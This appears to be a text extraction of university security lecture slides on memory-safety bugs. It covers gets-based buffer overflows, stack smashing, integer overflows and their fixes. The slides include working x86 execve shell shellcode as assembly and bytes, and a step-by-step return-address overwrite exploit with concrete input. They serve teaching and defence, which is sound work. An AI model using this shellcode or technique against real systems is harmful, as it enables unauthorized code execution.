Memory Safety Vulnerabilities
CS 161 Spring & Summer 2025 - Lecture 3
Computer Science 161
Last Time: x86 Assembly and Call Stack
2
Computer Science 161
Today: Memory Safety Vulnerabilities
3
Computer Science 161
Buffer Overflow Vulnerabilities
4
Textbook Chapter 3.1
Computer Science 161
Consider an Airport Terminal…
5
Computer Science 161
Consider an Airport “Terminal”…
6
#293 HRE-THR 850 1930
ALICE SMITH
ECONOMY
SPECIAL INSTRUX: NONE
Computer Science 161
Consider an Airport “Terminal”…
7
Computer Science 161
Consider an Airport “Terminal”…
8
#293 HRE-THR 850 1930
ALICE SMITHHHHHHHHHHH
HHONOMY
SPECIAL INSTRUX: NONE
How could Alice exploit this?
Computer Science 161
Consider an Airport “Terminal”…
9
#293 HRE-THR 850 1930
ALICE SMITH
FIRST
SPECIAL INSTRUX: NONE
By inserting padding characters (spaces) and exploiting the lack of boundaries between lines, Alice now appears to be in first class!
Takeaway: Attackers can exploit lack of boundaries to control areas (memory, as we will see shortly) that they aren’t supposed to control
Computer Science 161
Buffer Overflow Vulnerabilities
10
char name[4];
name[5] = 'a';
| | | | | | a | |
name[0]
name[1]
name[2]
name[3]
name[5]
This is technically valid C code, because C doesn’t check bounds!
Computer Science 161
Vulnerable Code
11
char name[20];
void vulnerable(void) {
...
gets(name);
...
}
The gets function will write bytes until the input contains a newline ('\n'), not when the end of the array is reached!
Okay, but there’s nothing to overwrite—for now…
Computer Science 161
Vulnerable Code
12
char name[20];
char instrux[20] = "none";
void vulnerable(void) {
...
gets(name);
...
}
What does the memory diagram of static data look like now?
Computer Science 161
Vulnerable Code
13
char name[20];
char instrux[20] = "none";
void vulnerable(void) {
...
gets(name);
...
}
... |
... |
... |
... |
... |
instrux |
instrux |
instrux |
instrux |
instrux |
name |
name |
name |
name |
name |
gets starts writing here and can overwrite anything above name!
What can go wrong here?
Note: name and instrux are declared in static memory (outside of the stack), which is why name is below instrux
Computer Science 161
Vulnerable Code
14
char name[20];
int authenticated = 0;
void vulnerable(void) {
...
gets(name);
...
}
... |
... |
... |
... |
... |
... |
... |
... |
... |
authenticated |
name |
name |
name |
name |
name |
gets starts writing here and can overwrite the authenticated flag!
What can go wrong here?
Computer Science 161
Vulnerable Code
15
char line[512];
char command[] = "/usr/bin/ls";
int main(void) {
...
gets(line);
...
execv(command, ...);
}
... |
... |
... |
... |
... |
... |
... |
... |
command |
command |
command |
line |
... |
line |
line |
What can go wrong here?
Computer Science 161
Vulnerable Code
16
char name[20];
int (*fnptr)(void);
void vulnerable(void) {
...
gets(name);
...
fnptr();
}
... |
... |
... |
... |
... |
... |
... |
... |
... |
fnptr |
name |
name |
name |
name |
name |
fnptr is called as a function, so the EIP jumps to an address of our choosing!
What can go wrong here?
Computer Science 161
Top 10 Most Dangerous Software Weaknesses (2023)
17
Rank | ID | Name | Score |
[1] | Out-of-bounds Write | 63.72 | |
[2] | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 45.54 | |
[3] | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 34.27 | |
[4] | Use After Free | 16.71 | |
[5] | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 15.65 | |
[6] | Improper Input Validation | 15.50 | |
[7] | Out-of-bounds Read | 14.60 | |
[8] | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 14.11 | |
[9] | Cross-Site Request Forgery (CSRF) | 11.73 | |
[10] | Unrestricted Upload of File with Dangerous Type | 10.41 |
Computer Science 161
Note: Python Syntax
18
Computer Science 161
Note: Python Syntax
19
Computer Science 161
Stack Smashing
20
Textbook Chapter 3.2
Computer Science 161
Stack Smashing
21
Computer Science 161
Overwriting the RIP
22
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
gets starts writing here and can overwrite anything above name, including the RIP!
void vulnerable(void) {
char name[20];
gets(name);
}
Assume that the attacker wants to execute instructions at address 0xdeadbeef.
name
SFP
RIP
What should an attacker supply as input to the gets function?
What value should the attacker write in memory? Where should the value be written?
Computer Science 161
Overwriting the RIP
23
void vulnerable(void) {
char name[20];
gets(name);
}
Note the NULL byte that terminates the string, automatically added by gets!
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
'\x00' | ... | ... | ... |
'\xef' | '\xbe' | '\xad' | '\xde' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
name
SFP
RIP
Computer Science 161
Writing Malicious Code
24
xor %eax, %eax�push %eax�push $0x68732f2f�push $0x6e69622f�mov %esp, %ebx�mov %eax, %ecx�mov %eax, %edx�mov $0xb, %al�int $0x80
0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80
Assembler
Computer Science 161
Putting Together an Attack
25
Computer Science 161
Constructing Exploits
26
void vulnerable(void) {
char name[20];
gets(name);
}
Let SHELLCODE be a 12-byte shellcode. Assume that the address of name is 0xbfffcd40.
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
name
SFP
RIP
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
What should an attacker supply as input to the gets function?
What values should the attacker write in memory? Where should the values be written?
Computer Science 161
Constructing Exploits
27
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
void vulnerable(void) {
char name[20];
gets(name);
}
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
'\x00' | ... | ... | ... |
'\x40' | '\xcd' | '\xff' | '\xbf' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
name
SFP
RIP
Computer Science 161
Constructing Exploits
28
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
void vulnerable(void) {
char name[20];
gets(name);
}
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
'\x00' | ... | ... | ... |
'\x4c' | '\xcd' | '\xff' | '\xbf' |
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
name
SFP
RIP
Computer Science 161
Constructing Exploits
29
void vulnerable(void) {
char name[20];
gets(name);
}
What if the shellcode is too large? Now let SHELLCODE be a 28-byte shellcode. What should the attacker input?
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
name
SFP
RIP
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
Computer Science 161
Constructing Exploits
30
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
void vulnerable(void) {
char name[20];
gets(name);
}
'\x00' | ... | ... | ... |
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
'\x5c' | '\xcd' | '\xff' | '\xbf' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
name
SFP
RIP
Computer Science 161
Walking Through a Buffer Overflow
31
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Walking Through a Buffer Overflow
32
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Walking Through a Buffer Overflow
33
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Walking Through a Buffer Overflow
34
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Walking Through a Buffer Overflow
35
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Walking Through a Buffer Overflow
36
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Walking Through a Buffer Overflow
37
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
We overwrite the SFP (saved EBP) with 'AAAA', so the SFP is now pointing at the (probably invalid) address AAAA (0x41414141)
Computer Science 161
Walking Through a Buffer Overflow
38
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
'\x00' | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
We overwrite the RIP (saved EIP) with the address of our shellcode 0xbfffcd40, so the RIP is now pointing at our shellcode! Remember, this value will be restored to EIP (the instruction pointer) later.
Computer Science 161
Walking Through a Buffer Overflow
39
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
'\x00' | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Returning from gets: Move ESP up by 4.
Computer Science 161
Walking Through a Buffer Overflow
40
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
'\x00' | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Function epilogue: Move ESP to EBP.
Computer Science 161
Walking Through a Buffer Overflow
41
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
'\x00' | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Function epilogue: Restore the SFP into EBP. We overwrote SFP to 'AAAA', so the EBP now also points to the address 'AAAA'. We don’t really care about EBP, though.
Computer Science 161
Walking Through a Buffer Overflow
42
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
'\x00' | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Function epilogue: Restore the RIP into EIP. We overwrote RIP to the address of shellcode, so the EIP (instruction pointer) now points to our shellcode!
Computer Science 161
Walking Through a Buffer Overflow
43
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
'\x00' | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... | |||
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
sh # _
Computer Science 161
Memory-Safe Code
44
Computer Science 161
Still Vulnerable Code?
45
void vulnerable?(void) {
char *name = malloc(20);
...
gets(name);
...
}
Heap overflows are also vulnerable!
Computer Science 161
Solution: Specify the Size
46
void safe(void) {
char name[20];
...
fgets(name, 20, stdin);
...
}
The length parameter specifies the size of the buffer and won’t write any more bytes—no more buffer overflows!
Warning: Different functions take slightly different parameters
Computer Science 161
Solution: Specify the Size
47
void safer(void) {
char name[20];
...
fgets(name, sizeof(name), stdin);
...
}
sizeof returns the size of the variable (does not work for pointers)
Computer Science 161
Vulnerable C Library Functions
48
Computer Science 161
man fgets
49
Computer Science 161
Integer Memory Safety Vulnerabilities
50
Textbook Chapter 3.4
Computer Science 161
Signed/Unsigned Vulnerabilities
51
void func(int len, char *data) {
char buf[64];
if (len > 64)
return;
memcpy(buf, data, len);
}
void *memcpy(void *dest, const void *src, size_t n);
int is a signed type, but size_t is an unsigned type. What happens if len == -1?
This is a signed comparison, so len > 64 will be false. But when we call memcpy(), casting -1 to an unsigned type yields 0xffffffff: another buffer overflow!
Is this safe?
Computer Science 161
Signed/Unsigned Vulnerabilities
52
void safe(size_t len, char *data) {
char buf[64];
if (len > 64)
return;
memcpy(buf, data, len);
}
Now this is an unsigned comparison, and no casting is necessary!
Computer Science 161
Integer Overflow Vulnerabilities
53
void func(size_t len, char *data) {
char *buf = malloc(len + 2);
if (buf == NULL)
return;
memcpy(buf, data, len);
buf[len] = '\n';
buf[len + 1] = '\0';
}
Is this safe?
What happens if len == 0xffffffff?
len + 2 == 1, enabling a heap overflow!
Computer Science 161
Integer Overflow Vulnerabilities
54
void safe(size_t len, char *data) {� if (len > SIZE_MAX - 2)
return;
char *buf = malloc(len + 2);
if (buf == NULL)
return;
memcpy(buf, data, len);
buf[len] = '\n';
buf[len + 1] = '\0';
}
It’s clunky, but you need to check bounds whenever you add to integers!
Computer Science 161
Integer Overflows in the Wild
55
WJXT Jacksonville | |
Broward Vote-Counting Blunder Changes Amendment Result | November 4, 2004 |
The Broward County Elections Department has egg on its face today after a computer glitch misreported a key amendment race, according to WPLG-TV in Miami. Amendment 4, which would allow Miami-Dade and Broward counties to hold a future election to decide if slot machines should be allowed at racetracks, was thought to be tied. But now that a computer glitch for machines counting absentee ballots has been exposed, it turns out the amendment passed. "The software is not geared to count more than 32,000 votes in a precinct. So what happens when it gets to 32,000 is the software starts counting backward," said Broward County Mayor Ilene Lieberman. That means that Amendment 4 passed in Broward County by more than 240,000 votes rather than the 166,000-vote margin reported Wednesday night. That increase changes the overall statewide results in what had been a neck-and-neck race, one for which recounts had been going on today. But with news of Broward's error, it's clear amendment 4 passed. | |
Computer Science 161
Integer Overflows in the Wild
56
Computer Science 161
Another Integer Overflow in the Wild
57
9 to 5 Linux | |
New Linux Kernel Vulnerability Patched in All Supported Ubuntu Systems, Update Now | |
Marius Nestor | January 19, 2022 |
Discovered by William Liu and Jamie Hill-Daniel, the new security flaw (CVE-2022-0185) is an integer underflow vulnerability found in Linux kernel’s file system context functionality, which could allow an attacker to crash the system or run programs as an administrator. | |
Computer Science 161
How Does This Vulnerability Work?
58
Computer Science 161
How Does This Vulnerability Work?
59
Computer Science 161
Summary: Memory Safety Vulnerabilities
60
Computer Science 161
How Does This Vulnerability Work?
61
Computer Science 161